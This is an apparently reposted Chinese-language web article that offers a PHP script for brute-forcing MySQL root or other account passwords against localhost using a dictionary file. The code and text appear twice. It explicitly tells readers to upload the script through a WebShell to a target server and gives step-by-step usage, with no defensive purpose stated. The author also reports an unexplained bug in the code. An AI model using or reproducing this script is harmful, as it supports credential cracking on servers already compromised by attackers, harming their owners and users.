PHP Mysql 密碼暴力破解代碼，本機(jī)暴力破解 3306 端口
發(fā)布日期：2022-01-29 19:04 | 文章來(lái)源：源碼中國(guó)
傳到WebShell上去暴力破解本機(jī)的MySql數(shù)據(jù)庫(kù)Root或其它用戶的密碼，因?yàn)槭瞧平獗緳C(jī)，所以速度奇快無(wú)比，貌似還有點(diǎn)效果，這個(gè)以前有人發(fā)過(guò)，這個(gè)是我改過(guò)的。已知有一處Bug，不清楚為何，密碼數(shù)量少的時(shí)候，準(zhǔn)確率100%，但是當(dāng)密碼數(shù)量達(dá)到5000以上時(shí)，準(zhǔn)確率0%，明明正確……
<?
set_time_limit(0); //腳本不超時(shí)
$user="root"; //用戶名
$passwd=file("password.txt"); //密碼字典
for($i=0;$i<count($passwd);$i++){
$pass=$passwd[$i];
connect($user,$pass);
flush();
}
echo "掃描結(jié)束！";
function connect($user,$pass) {
$conn=@mysql_connect("localhost",$user,$pass);
if($conn){
echo "<font color='#0000FF'><b>得到密碼：<font color='#FF0000'>".$pass."</font>?。。?lt;/b></font>";
exit();
}
else {
echo $pass.'
';
}
}
?>
代碼簡(jiǎn)單的不能再簡(jiǎn)單了，就不解釋了，功能很簡(jiǎn)單，傳到WebShell上去暴力破解本機(jī)的MySql數(shù)據(jù)庫(kù)Root或其它用戶的密碼，因?yàn)槭瞧平獗緳C(jī)，所以速度奇快無(wú)比，貌似還有點(diǎn)效果，這個(gè)以前有人發(fā)過(guò)，這個(gè)是我改過(guò)的。
已知有一處Bug，不清楚為何，密碼數(shù)量少的時(shí)候，準(zhǔn)確率100%，但是當(dāng)密碼數(shù)量達(dá)到5000以上時(shí)，準(zhǔn)確率0%，明明正確的密碼，卻不顯示正確，除非你把這個(gè)密碼放在字典最末尾，才顯示正確，不清楚是什么原因造成的，開(kāi)始以為是暴破間隔時(shí)間太短，加了延時(shí)函數(shù)，還是這樣。。。
或許只是我個(gè)別原因？各位試試就知道了。
用法：
1、修改 PHP 代碼中的用戶名
2、準(zhǔn)備字典 password.txt，每行一個(gè)，理論上支持無(wú)數(shù)行。
3、將腳本和字典一起傳到目標(biāo)Web服務(wù)器上，訪問(wèn)該腳本，即開(kāi)始暴力破解，破解結(jié)果實(shí)時(shí)輸出，盯著就行了。
復(fù)制代碼
代碼如下:<?
set_time_limit(0); //腳本不超時(shí)
$user="root"; //用戶名
$passwd=file("password.txt"); //密碼字典
for($i=0;$i<count($passwd);$i++){
$pass=$passwd[$i];
connect($user,$pass);
flush();
}
echo "掃描結(jié)束！";
function connect($user,$pass) {
$conn=@mysql_connect("localhost",$user,$pass);
if($conn){
echo "<font color='#0000FF'><b>得到密碼：<font color='#FF0000'>".$pass."</font>?。。?lt;/b></font>";
exit();
}
else {
echo $pass.'
';
}
}
?>
代碼簡(jiǎn)單的不能再簡(jiǎn)單了，就不解釋了，功能很簡(jiǎn)單，傳到WebShell上去暴力破解本機(jī)的MySql數(shù)據(jù)庫(kù)Root或其它用戶的密碼，因?yàn)槭瞧平獗緳C(jī)，所以速度奇快無(wú)比，貌似還有點(diǎn)效果，這個(gè)以前有人發(fā)過(guò)，這個(gè)是我改過(guò)的。
已知有一處Bug，不清楚為何，密碼數(shù)量少的時(shí)候，準(zhǔn)確率100%，但是當(dāng)密碼數(shù)量達(dá)到5000以上時(shí)，準(zhǔn)確率0%，明明正確的密碼，卻不顯示正確，除非你把這個(gè)密碼放在字典最末尾，才顯示正確，不清楚是什么原因造成的，開(kāi)始以為是暴破間隔時(shí)間太短，加了延時(shí)函數(shù)，還是這樣。。。
或許只是我個(gè)別原因？各位試試就知道了。
用法：
1、修改 PHP 代碼中的用戶名
2、準(zhǔn)備字典 password.txt，每行一個(gè)，理論上支持無(wú)數(shù)行。
3、將腳本和字典一起傳到目標(biāo)Web服務(wù)器上，訪問(wèn)該腳本，即開(kāi)始暴力破解，破解結(jié)果實(shí)時(shí)輸出，盯著就行了。
版權(quán)聲明：本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái)，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信